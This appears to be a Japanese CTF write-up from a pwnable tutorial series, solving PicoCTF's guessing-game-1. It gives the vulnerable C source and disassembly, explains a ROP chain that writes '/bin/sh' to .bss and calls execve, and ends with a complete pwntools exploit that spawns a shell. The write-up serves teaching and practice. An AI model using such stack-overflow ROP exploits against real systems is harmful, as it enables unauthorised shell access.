Pwnable - 典型問題 (ROP編)

## Pwnable - 典型問題シリーズ

1. [Stack Overflow編](https://qiita.com/Koukyosyumei/items/cd62394fa263fb1d0c1d)
2. ROP編(本記事)
3. [Heap Exploit編](https://qiita.com/Koukyosyumei/items/c5632c102bac44ad9c85)
4. [FSB編](https://qiita.com/Koukyosyumei/items/12d50a524ef9217210fc)
5. [その他編](https://qiita.com/Koukyosyumei/items/0593df9d6a34feae2e79)

## 目次

- [PicoCTF: guessing-game-1](#guessing-game-1)


## guessing-game-1

解析対象のバイナリのArchは64ビット。

```
Arch:     amd64-64-little
```

最初の乱数は常に84であることが、何回か実行すればわかる。さらに、`win`関数内が100バイトの`BUF`に360バイト分書き込める仕様になっている。

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFSIZE 100


long increment(long in) {
	return in + 1;
}

long get_random() {
	return rand() % BUFSIZE;
}

int do_stuff() {
	long ans = get_random();
	ans = increment(ans);
    printf("ans is %ld\n", ans);
	int res = 0;
	
	printf("What number would you like to guess?\n");
	char guess[BUFSIZE];
	fgets(guess, BUFSIZE, stdin);
	
	long g = atol(guess);
	if (!g) {
		printf("That's not a valid number!\n");
	} else {
		if (g == ans) {
			printf("Congrats! You win! Your prize is this print statement!\n\n");
			res = 1;
		} else {
			printf("Nope!\n\n");
		}
	}
	return res;
}

void win() {
	char winner[BUFSIZE];
	printf("New winner!\nName? ");
	fgets(winner, 360, stdin);
	printf("Congrats %s\n\n", winner);
}

int main(int argc, char **argv){
	setvbuf(stdout, NULL, _IONBF, 0);
	// Set the gid to the effective gid
	// this prevents /bin/sh from dropping the privileges
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	
	int res;
	
	printf("Welcome to my guessing game!\n\n");
	
	while (1) {
		res = do_stuff();
		if (res) {
			win();
		}
	}
	
	return 0;
}
```

```sh
   625 0000000000400c40 <win>:                                                                                             626   400c40:   55                      push   %rbp
   627   400c41:   48 89 e5                mov    %rsp,%rbp
   628   400c44:   48 83 ec 70             sub    $0x70,%rsp
   629   400c48:   48 8d 3d 78 24 09 00    lea    0x92478(%rip),%rdi        # 4930c7 <_IO_stdin_used+0x87>
   630   400c4f:   b8 00 00 00 00          mov    $0x0,%eax
   631   400c54:   e8 b7 f3 00 00          call   410010 <_IO_printf>
   632   400c59:   48 8b 15 48 9b 2b 00    mov    0x2b9b48(%rip),%rdx        # 6ba7a8 <_IO_stdin>
   633   400c60:   48 8d 45 90             lea    -0x70(%rbp),%rax
   634   400c64:   be 68 01 00 00          mov    $0x168,%esi
   635   400c69:   48 89 c7                mov    %rax,%rdi
   636   400c6c:   e8 9f fd 00 00          call   410a10 <_IO_fgets>
   637   400c71:   48 8d 45 90             lea    -0x70(%rbp),%rax
   638   400c75:   48 89 c6                mov    %rax,%rsi
   639   400c78:   48 8d 3d 5b 24 09 00    lea    0x9245b(%rip),%rdi        # 4930da <_IO_stdin_used+0x9a>
   640   400c7f:   b8 00 00 00 00          mov    $0x0,%eax
   641   400c84:   e8 87 f3 00 00          call   410010 <_IO_printf>
   642   400c89:   90                      nop
   643   400c8a:   c9                      leave
   644   400c8b:   c3                      ret
```

バイナリに`syscall`命令が含まれているので、`execve("/bin/sh",NULL,NULL)`を実行することを目標にする (ちなみに、`execve`の引数は、1番目が実行対象のプログラムのパス、2番目がプログラムに渡す引数の配列、3番目がプログラムに渡す環境変数の配列)。

```sh
  1432   401902:   48 89 76 10             mov    %rsi,0x10(%rsi)
  1433   401906:   0f 05                   syscall                                                                        1434   401908:   85 c0                   test   %eax,%eax
  1435   40190a:   74 14                   je     401920 <__libc_setup_tls+0x190>
```
  
バイナリ内に`/bin/sh\x00`という文字列は存在しないようなので、自分で書き込む必要がある。例えば、以下のようなROP-Chainを組むことで、`.bss`セクションに`/bin/sh\x00`を書き込むことができる。

```
|    address to (pop rax; ret)                 |
|----------------------------------------------|
|         "/bin/sh\x00"                        |  <- raxに`/bin/sh\x00`を格納
|----------------------------------------------|
|    address to (pop rsi; ret)                 |
|----------------------------------------------| 
|            .bss                              |  <- rsxに`.bss`セクションのアドレスを格納
|----------------------------------------------|
| address to (mov qword ptr [rsi], rax ; ret)  |  <- `.bss`セクションにraxに格納された`bin/sh\x00`を書き込み
|----------------------------------------------|
```

次に、`execve("/bin/sh",NULL,NULL)`を実行するROP-Chainを組む。64ビットでは以下のように、レジスタに第1~6引数が格納される。

```
引数	第1引数	第2引数	第3引数	第4引数	第5引数	第6引数
レジスタ	   rdi	   rsi	   rdx	   rcx	    r8	    r9
```

また、`syscall`を使って`execve`を呼び出したいので、`rax`に`execve`に対応する`59 (0x3b)`を格納しておく。

```
| address to (pop rdi; ret) |
|---------------------------|
| .bss ("/bin/sh")          |
|---------------------------|
| address to (pop rsi; ret) |
|---------------------------|
|       0x0                 |
|---------------------------|
| address to (pop rdx; ret) |
|---------------------------|
|       0x0                 |
|---------------------------|
| address to (pop rax; ret) |
|---------------------------|
|       0x3b                |
|---------------------------|
| address to (syscall; ret) | 
|---------------------------|
```

各セクションのアドレスは`readelf`コマンドで分かる。

```sh
 readelf -S vuln
There are 33 section headers, starting at offset 0xcf0a8:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
                                    .
                                    .
                                    .
  [26] .bss              NOBITS           00000000006bc3a0  000bc398
       00000000000016f8  0000000000000000  WA       0     0     32
  [27] __libc_freer[...] NOBITS           00000000006bda98  000bc398
       0000000000000028  0000000000000000  WA       0     0     8
                                    .
                                    .
                                    .
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  R (retain), D (mbind), l (large), p (processor specific)
```

元のスタックは以下の通りである。

```
|                     | <- 0x7fffffffd9d0 (rsp)
| data (112byte)      |
|                     |
|---------------------| <- 0x7fffffffda40 (rbp) 
|       rbp           |
|---------------------|
|  return-address     |
|---------------------|
```

スタックオーバフローの脆弱性を活かして、スタックの中身を以下のように改変する。

```
|                     |
| Padding (120byte)   |
|                     |
|                     |
|                     |
|---------------------|
|      ROP-Chain      | <- return addresをROP-Chainの先頭に改変    
|---------------------|
```

最終的な攻撃コードは以下の通り。

```python
from pwn import *

elf = ELF("./vuln")
rop = ROP(elf)

pop_rax_ret = rop.find_gadget(["pop rax", "ret"]).address
pop_rsi_ret = rop.find_gadget(["pop rsi", "ret"]).address
pop_rdi_ret = rop.find_gadget(["pop rdi", "ret"]).address
pop_rdx_ret = rop.find_gadget(["pop rdx", "ret"]).address
mov_rsi_rax = 0x47ff91 # ROPGagetで見つけました
bss_addr = 0x6bc3a0
syscall = rop.find_gadget(["syscall", "ret"]).address

write_bss = p64(pop_rax_ret)
write_bss += b"/bin/sh\x00"
write_bss += p64(pop_rsi_ret)
write_bss += p64(bss_addr)
write_bss += p64(mov_rsi_rax)

call_execve = p64(pop_rdi_ret)
call_execve += p64(bss_addr)
call_execve += p64(pop_rsi_ret)
call_execve += p64(0x0)
call_execve += p64(pop_rdx_ret)
call_execve += p64(0x0)
call_execve += p64(pop_rax_ret)
call_execve += p64(0x3b)
call_execve += p64(syscall)

chain = write_bss + call_execve

r = process("./vuln")
r.recvuntil(b"What number would you like to guess?")
r.sendline(b"84")
r.recvuntil(b"Name?")
r.sendline(b"A"*120 + chain)
r.interactive()
```